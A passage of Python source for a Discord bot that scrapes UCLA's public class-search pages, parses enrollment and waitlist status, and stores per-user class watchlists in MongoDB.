'Iwe_ClassSearch_SearchResults.AddToCourseData\\(\"[\\d_]*?%s[\\d]{0,3}\",({\"Term\":\"%s\".*?\"ClassNumber\":\" *?[\\d%%]{1,3} *.*?\"Path\":\"[\\d_]*?%s[\\d]{0,3}\".*?\"Token\":\".*?\"})\\);'\nmodel_regex = re.compile('Iwe_ClassSearch_SearchResults.AddToCourseData\\(.*?({.*?})')\nHEADERS = {\"X-Requested-With\": \"XMLHttpRequest\"}\nfilter_flags = '{\"enrollment_status\":\"O,W,C,X,T,S\",\"advanced\":\"y\",\"meet_days\":\"M,T,W,R,F\",\"start_time\":\"8:00 am\",\"end_time\":\"7:00 pm\",\"meet_locations\":null,\"meet_units\":null,\"instructor\":null,\"class_career\":null,\"impacted\":null,\"enrollment_restrictions\":null,\"enforced_requisites\":null,\"individual_studies\":null,\"summer_session\":null}'\n\n\n\ndef _parse_string_to_array(tag):\n \"\"\"\n Takes a string of HTML that displays locations, times, etc. from UCLA course details page, and separates into\n an array based on the
    tags.\n \"\"\"\n if tag is None:\n return []\n\n my_string = ''.join(map(str, tag.contents))\n tagMatcher = re.compile('|<(/)?p>|<(/)?a[^>]*>')\n text = tagMatcher.sub('', my_string).strip()\n arr = text.split(\"
    \")\n return [i for i in arr if i] \n\n\ndef _generate_url(base_url, params):\n \"\"\"\n Generate a URL given many parameters to attach as query strings. Also replaces single quote with double quote\n because that's what UCLA likes.\n \"\"\"\n url_parts = list(urlparse.urlparse(base_url))\n query = dict(urlparse.parse_qsl(url_parts[4]))\n query.update(params)\n\n url_parts[4] = urlencode(query)\n\n final_url = urlparse.urlunparse(url_parts).replace(\"%27\", \"%22\")\n return final_url\n\n\ndef parse_catalog_no(catalog):\n \"\"\"\n \n catalog: String of the class's number, i.e. 61 or 131AH or M120\n \n \"\"\"\n match = re.match(r\"([0-9]+)([a-zA-Z]+)\", catalog, re.I)\n if match:\n return f'{match[1]:>04s}' + match[2]\n else:\n return f'{catalog:>04s}'\n\n\ndef parse_class_id(html):\n \"\"\"\n Given html from GetCourseSummary endpoint, extract the class number. Uses assumption that class number is\n always the first 9 digits of a certain div\n \"\"\"\n id_regex = '
    \\d+) capacity, (?P\\d+) enrolled, (?P\\d+) waitlisted\\))?'),\n \"classFull\": re.compile(\n 'ClosedClass Full \\((?P\\d+)\\)(, Over Enrolled By (?P\\d+))?'),\n \"classOpen\": re.compile('Open(?P\\d+) of (?P\\d+) Enrolled(\\d+) Spots? Left'),\n \"waitlistOnly\": re.compile('^Waitlist$'),\n \"waitlistFull\": re.compile(\n '^WaitlistClass Full \\((?P\\d+)\\)(, Over Enrolled By (?P\\d+))?'),\n }\n # Waitlist regexes\n self.waitlist_regexes = {\n \"waitlistOpen\": re.compile('(?P\\d+) of (?P\\d+) Taken'),\n \"noWaitlist\": re.compile('No Waitlist'),\n \"waitlistClosed\": re.compile('Waitlist Full \\((?P\\d+)\\)'),\n }\n\n self.status_colors = {\n \"tenative\" : 0xff0000,\n \"cancelled\" : 0xff0000,\n \"closedByDept\": 0xff0000,\n \"classFull\" : 0xff0000,\n \"classOpen\" : 0x00ff00,\n \"waitlistOnly\": 0x00ff00,\n \"waitlistFull\": 0xff0000,\n }\n\n # The main urls we'll be scraping from\n self.PUBLIC_RESULTS_URL = \"https://sa.ucla.edu/ro/Public/SOC/Results\"\n self.GET_COURSE_SUMMARY_URL = \"https://sa.ucla.edu/ro/Public/SOC/Results/GetCourseSummary\"\n self.COURSE_TITLES_VIEW = \"https://sa.ucla.edu/ro/Public/SOC/Results/CourseTitlesView\"\n self.COURSE_TITLES_PAGE = \"https://sa.ucla.edu/ro/Public/SOC/Results/CourseTitlesView\"\n\n\n self.db = MongoClient(f\"mongodb+srv://michael:{os.environ.get('DBPASSWORD')}@cluster0.qrg22.mongodb.net/sample_analytics?retryWrites=true&w=majority\").discord\n\n self.default_term = \"21S\"\n\n self.daily_reload.start()\n self.check_for_change.start()\n\n self.parser = argparse.ArgumentParser()\n self.parser.add_argument('class_name', metavar='name', type=str, nargs='+', help='whole class name, subject + catalog number')\n # self.parser.add_argument('--mode', dest='mode', default=\"fast\")\n self.parser.add_argument('--term', dest='term', default=self.default_term)\n self.parser.add_argument('--deep', action='store_true')\n\n self.simple_parser = argparse.ArgumentParser()\n self.simple_parser.add_argument('alias', metavar='alias', type=str, nargs='+', help='the alias you want to set for the --target')\n self.simple_parser.add_argument('--target', dest='target', required=True, nargs='+')\n\n self.EXEC_PATH = os.environ.get(\"GOOGLE_CHROME_SHIM\", None)\n\n\n def _get_current_terms(self):\n url = \"https://sa.ucla.edu/ro/Public/SOC/\"\n soup = BeautifulSoup(requests.get(url).content, \"lxml\")\n all_terms = map(lambda el: el.attrs['value'], soup.select(\"option.select_term\"))\n return list(filter(lambda x: validate_term(x), all_terms))\n\n \n \n def _search_for_class_model(self, subject, catalog=None, term=None):\n \"\"\"\n Finds the model for each class that matches subject+catalog, and also attaches the \"human readable\" class name.\n\n subject: String of the class's subject in CAPS format, i.e. (MATH or COM SCI)\n catalog: String of the class's number, i.e. 61 or 131AH or M120\n\n returns a generator of tuples (class's \"human readable name\", model) that match the given subject + catalog\n e.g. (Mathematics (MATH) 19 - COVID-19: Patterns and Predictions in Art, {\\\"Term\\\":\\\"21W\\\",\\\"SubjectAreaCode\\\":\\\"MATH...)\n \n \"\"\"\n\n class_list = []\n\n search_term = term or self.default_term\n class_results = self.db.class_data.find_one({\"term\": search_term})\n\n if class_results is None and search_term in self.current_terms:\n self._reload_classes(term=search_term)\n\n if search_term in self.current_terms:\n # we have a json for it, find it in there\n # TODO: Maybe separate subjects into their own json?\n \n classes_in_subject = class_results[\"class_names\"][subject]\n for my_class in classes_in_subject:\n if catalog is None or my_class[0].split()[0] == str(catalog):\n class_list.append((f\"{subject} {my_class[0]}\", my_class[1]))\n \n else:\n # we don't bother storing a json, use old method\n model = {\"subj_area_cd\":subject,\"search_by\":\"subject\",\"term_cd\":search_term,\"SubjectAreaName\":\"Computer Science (COM SCI)\",\"CrsCatlgName\":\"Enter a Catalog Number or Class Title (Optional)\",\"ActiveEnrollmentFlag\":\"n\",\"HasData\":\"True\"}\n page_number = 1\n while True:\n params = {'search_by': 'subject', 'model': model, 'FilterFlags': filter_flags, '_': '1571869764769', 'pageNumber': page_number}\n\n url = _generate_url(self.COURSE_TITLES_VIEW, params)\n\n r = requests.get(url, headers=HEADERS)\n soup = BeautifulSoup(r.content, \"lxml\")\n div_script_pairs = zip(soup.select(\"h3.head\"), soup.select(\"script\"))\n\n for div, script in div_script_pairs:\n # I'll define the *human catalog number* as the one we're selecting here\n # UCLA seems to store some really wack catalog numbers inside the script,\n # i.e. COM SCI M152A -> 0152A M\n # I probably could figure out a pattern but I can't know every possibility\n # Plus, if someone doesn't get the human name right, I think that's on them\n # BUT WHAT IF SPACE IN CATALOG NUMBER\n class_name = div.select_one('a[id$=\"-title\"]').text\n if catalog is None or class_name.split(\"-\", 1)[0][:-1] == catalog:\n class_list.append( (div.select_one('a[id$=\"-title\"]').text, model_regex.search(script.decode_contents())[1]) )\n # when we get past all the result pages, we'll get nothing from requests.get\n if r.content == b'':\n break\n\n page_number += 1\n\n return class_list\n\n\n\n def _generate_embed(self, parsed_class, letter_choice=None, watched=False):\n \"\"\"Build a Discord Embed message based on a class dictionary\"\"\"\n title = '{choice} {class_name}{in_list}'.format(choice=f\"(Choice {letter_choice})\" if letter_choice else '',\n class_name=parsed_class[\"class_name\"], in_list=\" (in your watchlist)\" if watched else '')\n\n embedVar = discord.Embed(title=title, description=f'[{parsed_class[\"section_name\"]}]({parsed_class[\"url\"]})',\n color=self.status_colors[parsed_class[\"enrollment_status\"]])\n embedVar.add_field(name=\"Term\", value=parsed_class[\"term\"], inline=True)\n embedVar.add_field(name=\"Times\", value=parsed_class[\"times\"], inline=True)\n embedVar.add_field(name=\"Days\", value=parsed_class[\"days\"], inline=True)\n embedVar.add_field(name=\"Locations\", value=parsed_class[\"locations\"], inline=True)\n embedVar.add_field(name=\"Instructors\", value=parsed_class[\"instructors\"], inline=True)\n\n # this forces next fields onto new line\n embedVar.add_field(name = chr(173), value = chr(173))\n\n embedVar.add_field(name=\"Enrollment Status\",\n value=f'{parsed_class[\"enrollment_status\"]} ({parsed_class[\"enrollment_count\"]}/{parsed_class[\"enrollment_capacity\"]} enrolled)',\n inline=True)\n if \"waitlist_status\" in parsed_class:\n embedVar.add_field(name=\"Waitlist Status\",\n value=f'{parsed_class[\"waitlist_status\"]} ({parsed_class[\"waitlist_count\"]}/{parsed_class[\"waitlist_capacity\"]} taken)',\n inline=True)\n else:\n embedVar.add_field(name=\"Waitlist Status\", value='Unable to parse', inline=True)\n\n if \"description\" in parsed_class:\n embedVar.add_field(name=\"Course Description\", value=parsed_class['description'], inline=False)\n\n return embedVar\n\n def _generate_all_embeds(self, htmls, display_description=False, choices=False, user_id=None):\n \"\"\"Generate all the embed from a list of htmls, and return a list will all of them\"\"\"\n embed_list = []\n for i,name_soup_pair in enumerate(htmls):\n parsed_class = self._parse_class(name_soup_pair)\n\n # if we want to display class description, get it from the class details page\n if display_description:\n r = requests.get(parsed_class[\"url\"])\n soup = BeautifulSoup(r.content, \"lxml\")\n parsed_class['description'] = \\\n soup.find(\"p\", class_=\"class_detail_title\", text=\"Course Description\").findNext('p').contents[0]\n\n # generate and display embed with appropriate letter choice if desired\n generated_embed = self._generate_embed(parsed_class, letter_choice=chr(i + 65) if choices else None, watched=self._is_watching(user_id, parsed_class[\"class_id\"]))\n embed_list.append(generated_embed)\n\n return embed_list\n \n\n async def _generate_image(self, browser, class_id, ctx, letter_choice=None):\n \"\"\"Take a picture of a class id's details page, for sending in a slow mode\"\"\"\n\n if os.path.exists(\"candidate.png\"):\n os.remove(\"candidate.png\")\n\n params = {'t': self.default_term, 'sBy': 'classidnumber', 'id': class_id}\n final_url = _generate_url(self.PUBLIC_RESULTS_URL, params)\n\n page = await browser.newPage()\n\n await page.goto(final_url)\n\n await page.waitForSelector('#resultsTitle')\n element = await page.querySelector('#resultsTitle')\n\n if letter_choice:\n await page.evaluate(f'document.querySelector(\"a[id$=\\'-title\\']\").prepend(\"(Choice {letter_choice}) \")')\n\n await element.screenshot(path='candidate.png')\n if letter_choice:\n message = await ctx.channel.send(f\"Choice {letter_choice}\", file=discord.File('candidate.png'))\n else:\n message = await ctx.channel.send(file=discord.File('candidate.png'))\n\n if os.path.exists(\"candidate.png\"):\n os.remove(\"candidate.png\")\n\n return message\n\n @commands.command(help=\"Change the default term for searching. It is written, only coolguy5530 can use this command.\", brief=\"Only used by creator.\")\n @is_owner()\n async def switch_term(self, ctx, new_term: str):\n # First, is this the right format?\n is_term = validate_term(new_term)\n if not is_term:\n ctx.channel.send(f\"Sorry, {new_term} looks like a malformed term.\")\n return\n\n if self.default_term and self.default_term is new_term:\n ctx.channel.send(f\"You're already on {self.default_term}!\")\n return\n\n # If we pass the checks, actually switch term, and initialize class list\n self.default_term = new_term\n self._reload_classes()\n\n\n def get_subjects_for_term(self, term):\n print(f\"getting subjects json for {term}\")\n r = requests.get(f\"https://sa.ucla.edu/ro/Public/SOC/Results?t={term}&sBy=subject&subj=MATH\")\n template = re.compile(\"SearchPanelSetup\\('(.*?)'\")\n soup = BeautifulSoup(r.content, \"lxml\")\n for script in soup.select(\"script\"):\n matches = template.search(str(script))\n if matches:\n subjects = json.loads(matches[1].replace(\""\", '\"'))\n\n return self.db.class_data.find_one_and_update({\"term\": term}, {\"$set\": {\"subjects\": subjects}}, upsert=True, return_document=ReturnDocument.AFTER)\n \n\n def _reload_classes(self, term=None):\n # Load list of subjects parsed from UCLA website\n subjects_result = self.get_subjects_for_term(term or self.default_term)\n\n if subjects_result is None or \"subjects\" not in subjects_result:\n print(\"couldn't get subjects\")\n return\n\n class_name_dict = {}\n\n # we're sending command from discord channel, so force the reload goes through regardless of when last updated\n\n print(f\"Reloading the {term or self.default_term} class names JSON (this may take a minute or 2)...\")\n for n, subject in enumerate(subjects_result[\"subjects\"]):\n\n # Replace everything but spaces, which get changed to \"+\", i.e. \"ART HIS\" -> \"ART+HIS\"\n model = {\"subj_area_cd\":subject[\"value\"],\"search_by\":\"subject\",\"term_cd\":term or self.default_term,\"SubjectAreaName\":\"Computer Science (COM SCI)\",\"CrsCatlgName\":\"Enter a Catalog Number or Class Title (Optional)\",\"ActiveEnrollmentFlag\":\"n\",\"HasData\":\"True\"}\n all_classes = []\n page_number = 1\n while True:\n params = {'search_by': 'subject', 'model': model, 'FilterFlags': filter_flags, '_': '1571869764769', 'pageNumber': page_number}\n\n url = _generate_url(self.COURSE_TITLES_VIEW, params)\n\n r = requests.get(url, headers=HEADERS)\n soup = BeautifulSoup(r.content, \"lxml\")\n div_script_pairs = zip(soup.select(\"h3.head\"), soup.select(\"script\"))\n\n for div, script in div_script_pairs:\n # I can't guarantee that there isn't some wack scenario where there are two classes\n # names exactly the same, make each name+model pair like a tuple instead\n all_classes.append(\n [div.select_one('a[id$=\"-title\"]').text, model_regex.search(script.decode_contents())[1]])\n \n if r.content == b'':\n break\n\n page_number += 1\n\n\n class_name_dict[subject[\"value\"].strip()] = all_classes\n\n print(\"Done reloading\")\n\n self.db.class_data.update_one({\"term\": term}, {\"$set\": {\"class_names\": class_name_dict}}, upsert=True)\n self.db.class_data.update_one({\"term\": term}, {\"$set\": {\"last_updated\": time.time()}}, upsert=True)\n\n def _parse_enrollment_status(self, my_string):\n \"\"\"\n Go through the dictionary of enrollment regexes, return an enrollment dictionary\n with count, capacity, etc numbers when the right match is found.\n \"\"\"\n\n for potential_status, regex in self.status_regexes.items():\n matches = regex.match(my_string)\n if matches is None:\n continue\n else:\n match_dict = matches.groupdict()\n enrollment_dict = {\n \"enrollment_status\": potential_status,\n # TODO: Is it okay to return 0 \n \"enrollment_capacity\": int(match_dict[\"Capacity\"] or 0) if \"Capacity\" in match_dict else None,\n \"enrollment_count\": int(\n match_dict[\"EnrolledCount\"] or 0) if \"EnrolledCount\" in match_dict else None,\n \"enrollment_over\": int(\n match_dict[\"OverenrolledCount\"] or 0) if \"OverenrolledCount\" in match_dict else None,\n }\n # Sometimes the status string doesn't say either the Capacity and or the Count,\n # i.e. \"ClosedClass Full (45), Over Enrolled By 3\" doesn't give any info on the count\n # but since the class is full, we know that the enrollment count and capacity have to match\n # and are both 45. This implements that logic.\n if enrollment_dict['enrollment_status'] == \"classFull\" or enrollment_dict[\n 'enrollment_status'] == \"waitlistFull\":\n enrollment_dict[\"enrollment_count\"] = enrollment_dict[\"enrollment_capacity\"]\n return enrollment_dict\n\n def _parseWaitlistData(self, my_string):\n \"\"\"\n Go through the dictionary of waitlist regexes, return a waitlist dictionary when\n the right match is found.\n \"\"\"\n for potential_status, regex in self.waitlist_regexes.items():\n matches = regex.match(my_string)\n if matches is None:\n continue\n else:\n if potential_status == self.waitlist_regexes[\"noWaitlist\"]:\n return {\n \"waitlist_status\": potential_status,\n \"waitlist_capacity\": \"N/A\",\n \"waitlist_count\": \"N/A\",\n }\n else:\n match_dict = matches.groupdict()\n waitlist_dict = {\n \"waitlist_status\": potential_status,\n \"waitlist_capacity\": int(\n match_dict[\"WaitlistCapacity\"] or 0) if \"WaitlistCapacity\" in match_dict else None,\n \"waitlist_count\": int(\n match_dict[\"WaitlistCount\"] or 0) if \"WaitlistCount\" in match_dict else None,\n }\n if waitlist_dict[\"waitlist_status\"] == \"waitlistClosed\":\n waitlist_dict[\"waitlist_count\"] = waitlist_dict[\"waitlist_capacity\"]\n return waitlist_dict\n\n def _parse_class(self, name_soup_pair):\n if type(name_soup_pair) is tuple:\n name = name_soup_pair[0]\n soup = name_soup_pair[1]\n else: # we sent to this function soup from the public records page, which has name info on it\n soup = name_soup_pair\n \n details_url = \"https://sa.ucla.edu\" + soup.select_one('a[title^=\"Class Detail for \"]')['href']\n section_name = soup.select_one('a[title^=\"Class Detail for \"]').text\n details_url_parts = dict(urlparse.parse_qsl(list(urlparse.urlparse(details_url))[4]))\n\n subject = details_url_parts['subj_area_cd'].strip()\n\n if type(name_soup_pair) is not tuple:\n name = f'{subject} {name_soup_pair.select_one(\"a[id$=-title]\").text}'\n\n enrollment_data = soup.select_one(\"div[id$=-status_data]\").text\n waitlist_data = soup.select_one(\"div[id$=-waitlist_data]\").text.replace(\"\\n\", '')\n\n locations = _parse_string_to_array(soup.select_one(\"div[id$=-location_data]\")) or [\"N/A\"]\n days = _parse_string_to_array(soup.select_one(\"div[id$=-days_data] p a\")) or [\"N/A\"]\n times = _parse_string_to_array(soup.select_one(\"div[id$=-time_data]>p\")) or [\"N/A\"]\n\n instructors = _parse_string_to_array(soup.select_one(\"div[id$=-instructor_data]>p\") or None)\n\n # I hope it always looks lile

    # of units

    \n # could be wrong...\n units = soup.select_one(\"div[id$=-units_data] p\").text\n\n\n\n class_dict = {\n \"subject\": subject,\n \"class_no\": details_url_parts['class_no'].strip(),\n \"class_id\": parse_class_id(str(soup)),\n \"class_name\": name,\n \"term\": parse_term(str(soup)),\n \"section_name\": section_name,\n \"instructors\": '\\n'.join(instructors),\n \"days\": '\\n'.join(days),\n \"times\": '\\n'.join(times),\n \"locations\": '\\n'.join(locations),\n \"units\": units,\n \"url\": details_url,\n \"enrollment_data\": enrollment_data,\n }\n\n # BEGIN PARSING STATUS\n\n a = self._parse_enrollment_status(enrollment_data) or None\n b = self._parseWaitlistData(waitlist_data) or None\n\n if a: class_dict = {**class_dict, **a} # grr if this were python 3.9 we could just use |\n if b: class_dict = {**class_dict, **b}\n\n # don't need to clean ints, only strings\n return {k: v.replace(\"\\r\", '').replace(\"\\n\", '').strip() if type(v) == \"str\" else v for k, v in\n class_dict.items()}\n\n def _get_user_watchlist(self, user_id):\n\n result = self.db.users.find_one({\"discord_id\": user_id})\n\n if result is None or \"watchlist\" not in result or len(result[\"watchlist\"]) == 0:\n return None\n\n return result[\"watchlist\"]\n\n\n def _is_watching(self, user_id, class_id):\n \"\"\"Checks if a user is tracking a certain class's id\"\"\"\n\n if user_id is None:\n return False\n\n watchlist = self._get_user_watchlist(user_id)\n\n if watchlist is None:\n return False\n\n for my_class in watchlist:\n if my_class[\"class_id\"] == class_id:\n return True\n\n return False\n\n\n @commands.command(brief=\"Displays the default term\", help=\"Displays the default term. This is the term that all commands default to when you don't provide a term argument.\")\n async def default_term(self, ctx):\n await ctx.send(f\"The default term is {self.default_term}\")\n \n\n async def _generate_class_view(self, ctx, subject: str, catalog=None, term=None, user_id=None, mode=\"fast\", display_description=False, choices=False):\n \"\"\"\n Given the lookup info of subject+catalog (i.e. MATH+151AH), send either embeds or images based\n on the resulting soups (from GetCourseSummary). Returns that a list that pairs the html with its associated message.\n \"\"\"\n await ctx.send(f\"Searching for\\nSubject: {subject}\\nCatalog: {catalog or 'N/A'}\\nTerm: {term or self.default_term}\\nUser: {ctx.message.author.name}\\n\")\n user_id = ctx.message.author.id\n\n\n model_choices = self._search_for_class_model(subject, catalog, term)\n\n htmls = []\n for name_model_pair in model_choices:\n print(name_model_pair[1])\n htmls = htmls + self.check_class(name_model_pair)\n\n\n messages = []\n\n\n embed_list = self._generate_all_embeds(htmls, display_description=display_description, user_id=user_id, choices=choices)\n for generated_embed in embed_list:\n message = await ctx.channel.send(embed=generated_embed)\n messages.append(message)\n\n if len(htmls) == 0:\n await ctx.channel.send(f\"Sorry, I couldn't find that class. (Can't find the class you're looking for? Try using ~subject {subject} to see all classes under {subject}.\")\n return list(zip(htmls, messages))\n\n async def _present_choices(self, ctx, num_choices):\n \"\"\"Given a (int) number of choices, send a message asking to choose one, with reactions for easy selecting\"\"\"\n emoji_choices = [chr(A_EMOJI_INT + n) for n in range(num_choices)]\n status = await ctx.send(f\"Choose the class you want keep an eye on/remove from your watchlist.\")\n while True:\n \n for emoji_choice in emoji_choices:\n await status.add_reaction(emoji_choice)\n await status.add_reaction(NO_EMOJI)\n\n try:\n r, _ = await self.bot.wait_for(\"reaction_add\", check=lambda reaction, user: user == ctx.author)\n except asyncio.TimeoutError:\n return\n else:\n # check if this is the right user, and the right message\n reactors = await r.users().flatten()\n if r.message.id == status.id and ctx.author in reactors:\n if r.emoji == NO_EMOJI:\n await status.edit(content=\"Aborted!\", delete_after=TMPMSG_DEFAULT)\n return None\n if r.emoji in emoji_choices:\n await status.edit(content=f\"You've selected choice {r.emoji}\")\n # The index of our choice will correspond with how \"far\" out emoji\n # choice was past number that corresponds with the A emoji\n choice_index = ord(r.emoji) - A_EMOJI_INT\n try:\n if ctx.guild:\n for emoji_choice in emoji_choices:\n await status.clear_reaction(emoji_choice)\n await status.clear_reaction(NO_EMOJI)\n except discord.errors.Forbidden:\n pass\n\n\n return choice_index\n\n\n\n @commands.command(brief=\"Search for a class in preparation to add to watch list.\", help=\"Usage: ~search_class subject number [--term]\\n\\nExample: ~search_class AN N EA 10W --term 21S\\n\\nExample: ~search_class AERO ST A\\n(In this case, AERO ST is the subject, and A is the catalog \\\"number\\\")\\n\\nsubject: The subject area of the class you're looking for. Must be in the format that the Class Planner displays, i.e. COM SCI, or C&S BIO.\\nnumber: The class number, i.e. 151A or M120 or A. No spaces.\\nterm: Which term to search for the class in. Must be formatted like 20F/21W/21S.\\n\\nSearch for a class in preparation to add to watch list.\\n\\nPresents all classes that match the class you queried, and present emoji reaction choices. Reacting with a certain emoji will add the corresponding class to your watchlist.\")\n @first_time()\n async def search_class(self, ctx, *, args):\n # PARSE ARGUMENTS\n user_id = ctx.message.author.id\n try:\n my_args = vars(self.parser.parse_args(args.split()))\n except SystemExit:\n await ctx.send(\"Sorry, I can't parse that.\")\n return\n\n catalog = my_args[\"class_name\"].pop().upper()\n\n subject = ' '.join(my_args[\"class_name\"]).upper()\n\n\n if my_args.get(\"term\") and not validate_term(my_args[\"term\"]):\n await ctx.send(f\"{my_args['term']} looks like a malformed term. Needs to be of the form 20F/21W/21S\")\n return\n\n if not subject:\n await ctx.send(\"Sorry, I can't parse that. Did you remember to provide a catalog number?\")\n return\n\n if self.db.class_data.find_one({\"term\": my_args.get('term') or self.default_term}) is None:\n await ctx.send(f\"You haven't looked up classes from {my_args.get('term') or self.default_term} before, this might take a minute or 2 to load all the classes\")\n\n real_name = self.search_for_alias(user_id, subject)\n if real_name:\n await ctx.send(f\"Applying alias {subject} -> {real_name}\")\n subject = real_name\n\n # fetch list of class HTMLS\n try:\n messages = await self._generate_class_view(ctx, subject, catalog, term=my_args[\"term\"], user_id=user_id, choices=True)\n except KeyError:\n await ctx.send(f\"Sorry, I don't think {subject} is a real subject.\\nNote that you must use the subject abbreviation you see on the Class Planner, i.e. MATH or COM SCI or C&S BIO\")\n return\n # raise KeyError(f\"Couldn't find subject {subject}\")\n \n # check if we actually found any\n if len(messages) == 0:\n return\n\n # Ask the user which one they want to select\n choice_index = await self._present_choices(ctx, len(messages))\n\n # Warning if term is really long ago\n if my_args.get(\"term\") not in self.current_terms:\n await ctx.send(f\"Warning: {my_args.get('term')} doesn't seem to be relevant right now. Are you sure you want to track a class from that term?\")\n # And add that selection to their watchlist\n if choice_index is not None:\n name_soup_pair, _ = messages.pop(choice_index)\n\n for _, message in messages:\n await message.delete()\n\n parsed_class = self._parse_class(name_soup_pair)\n\n to_insert = self.db.users.find_one({\"discord_id\": user_id}) or {\"discord_id\": user_id}\n\n if \"watchlist\" not in to_insert:\n to_insert[\"watchlist\"] = []\n\n for my_class in to_insert[\"watchlist\"]:\n if parsed_class['class_id'] == my_class[\"class_id\"] and parsed_class['term'] == my_class[\"term\"]:\n await ctx.channel.send(\"You're already keeping track of that class!\")\n return\n\n enrollment_data = name_soup_pair[1].select_one(\"div[id$=-status_data]\").text\n enrollment_dict = self._parse_enrollment_status(enrollment_data)\n to_insert[\"watchlist\"].append({\n \"class_id\": parsed_class['class_id'],\n \"enrollment_status\": enrollment_dict['enrollment_status'],\n \"class_name\": parsed_class['class_name'],\n \"term\": parsed_class[\"term\"],\n })\n\n\n result = self.db.users.update_one({\"discord_id\": user_id}, {\"$set\": to_insert}, upsert=True)\n if result.modified_count != 0:\n await ctx.send(f\"{parsed_class['class_name']} {parsed_class['section_name']} successfully added to {ctx.message.author.name}'s watchlist successfully.\")\n\n\n @commands.command(\n help=\"Display all classes under a given subject.\\n\\nUsage: ~subject subject_name [--deep]\\n\\nExample: ~subject COM SCI --deep \\n\\nsubject: The subject area of the class you're looking for. Must be in the format that the Class Planner displays, i.e. COM SCI, or C&S BIO.\\ndeep: if the --deep flag is provided, displays embeds for all the classes. Because it has to retrieve all info like instructors, enrollment data, etc., it takes a while to load all classes.\\n\\nDisplays all classes under a subject, one page at a time. Use the emoji reactions to scroll through pages.\",\n brief=\"Display all classes under a given subject.\"\n )\n @first_time()\n async def subject(self, ctx, *, args):\n # PARSE ARGUMENTS\n user_id = ctx.message.author.id\n\n try:\n my_args = vars(self.parser.parse_args(args.split()))\n except SystemExit:\n await ctx.send(\"Sorry, I can't parse that.\")\n return\n\n subject = ' '.join(my_args[\"class_name\"]).upper()\n\n \n if my_args.get(\"term\") and not validate_term(my_args[\"term\"]):\n await ctx.send(f\"{my_args['term']} looks like a malformed term. Needs to be of the form 20F/21W/21S\")\n return\n\n if self.db.class_data.find_one({\"term\": my_args.get('term') or self.default_term}) is None:\n await ctx.send(f\"You haven't looked up classes from {my_args.get('term') or self.default_term} before, this might take a minute or 2 to load all the classes\")\n\n real_name = self.search_for_alias(user_id, subject)\n if real_name:\n await ctx.send(f\"Applying alias {subject} -> {real_name}\")\n subject = real_name\n\n # fetch list of class HTMLS\n all_classes = []\n if my_args.get(\"deep\"):\n page_length = 5\n try:\n warning_message = await ctx.send(f\"You're looking up all the classes in a {subject}, this might take a second to load...\")\n class_models = self._search_for_class_model(subject, catalog=None, term=my_args.get(\"term\"))\n htmls = []\n for name_model_pair in class_models:\n print(name_model_pair[1])\n htmls = htmls + self.check_class(name_model_pair)\n\n all_classes = self._generate_all_embeds(htmls, user_id=user_id)\n await warning_message.delete()\n except KeyError:\n await ctx.send(f\"Sorry, I don't think {subject} is a real subject.\\nNote that you must use the subject abbreviation you see on the Class Planner, i.e. MATH or COM SCI or C&S BIO\")\n raise KeyError(f\"Couldn't find subject {subject}\")\n \n\n else:\n page_length = 10\n term_to_search = my_args.get('term') or self.default_term\n if term_to_search in self.current_terms:\n result = self.db.class_data.find_one({\"term\": term_to_search})\n if result is not None and \"class_names\" in result and subject in result[\"class_names\"]:\n all_classes = [my_class[0] for my_class in result[\"class_names\"][subject]]\n else:\n await ctx.send(f\"Sorry, {my_args.get('term')} happened too long ago, and the classes there not stored in this bot's database.\")\n return\n\n found = len(all_classes)\n # check if we actually found any\n if found == 0:\n return\n\n status = await ctx.send(f\"Gathering classes\")\n idx = 0\n messages = []\n htmls = []\n while True:\n\n await status.edit(content=f\"Here's entries {idx} through {idx+page_length}:\")\n \n preview = all_classes[idx:idx+page_length]\n if type(all_classes[0]) == str:\n messages.append(await ctx.send('\\n'.join(preview)))\n else:\n for generated_embed in preview:\n messages.append(await ctx.send(embed=generated_embed))\n\n display_more = await ctx.send(\"Display more?\")\n\n\n await display_more.add_reaction(\"⬅️\")\n await display_more.add_reaction(\"➡️\")\n try:\n r, _ = await self.bot.wait_for(\"reaction_add\", check=lambda r, u: u == ctx.author and r.message.id == display_more.id)\n except asyncio.TimeoutError:\n break\n else:\n if r.emoji == \"⬅️\":\n idx -= page_length\n if r.emoji == \"➡️\":\n idx += page_length\n if idx >= found or idx <= 0:\n idx = 0\n\n # clear reactions and previous message\n for message in messages:\n await message.delete()\n\n messages = []\n await display_more.delete()\n\n\n\n\n\n\n @commands.command(brief=\"Display info about a class, including description\", help=\"Usage: ~display_class subject number [--term]\\n\\nExample: ~display_class math 142 --term 20W\\n\\nsubject: The subject area of the class you're looking for. Must be in the format that the Class Planner displays, i.e. COM SCI, or C&S BIO.\\nnumber: The class number, i.e. 151A or M120 or A. No spaces.\\nterm: Which term to search for the class in. Must be formatted like 20F/21W/21S. If not provided, defaults to whatever ~default_term says.\\n\\nSame as ~search_class, but displays course description and not providing option to add to watchlist.\")\n @first_time()\n async def display_class(self, ctx, *, args):\n user_id = ctx.message.author.id\n\n try:\n my_args = vars(self.parser.parse_args(args.split()))\n except SystemExit:\n await ctx.send(\"Sorry, I can't parse that.\")\n return\n\n\n\n catalog = my_args[\"class_name\"].pop().upper()\n subject = ' '.join(my_args[\"class_name\"]).upper()\n\n if not subject:\n await ctx.send(\"Sorry, I can't parse that.\")\n return\n\n if my_args.get(\"term\") and not validate_term(my_args[\"term\"]):\n await ctx.send(f\"{my_args['term']} looks like a malformed term. Needs to be of the form 20F/21W/21S\")\n return\n real_name = self.search_for_alias(user_id, subject)\n if real_name:\n await ctx.send(f\"Applying alias {subject} -> {real_name}\")\n subject = real_name\n\n htmls = await self._generate_class_view(ctx, subject, catalog, term=my_args.get(\"term\"), user_id=user_id, display_description=True)\n if len(htmls) != 0:\n await ctx.send(f\"These are the classes I found for {subject} {catalog} in {my_args.get('term')}.\")\n @commands.command(brief=\"Choose a class to remove from watchlist.\", help=\"Usage: ~remove_class\\n\\nChoose a class to remove from watchlist. Calling this command will present each class with choice reaction emojis; choose the emoji corresponding with a certain class to remove it from your watchlist, and stop getting notifications from it.\")\n async def remove_class(self, ctx):\n\n user_id = ctx.message.author.id\n\n\n watchlist, messages = await self.see_watchlist(ctx, choices=True)\n\n if watchlist is None:\n return\n\n choice_index = await self._present_choices(ctx, len(watchlist))\n\n if choice_index is not None:\n \n\n # based on the emoji index, choose the corresponding entry of the htmls\n removed_class = watchlist.pop(choice_index)\n message = messages.pop(choice_index)\n await message.delete()\n\n self.db.users.update_one({\"discord_id\": user_id}, {\"$set\": {\"watchlist\": watchlist}})\n\n await ctx.send(\"You removed \" + 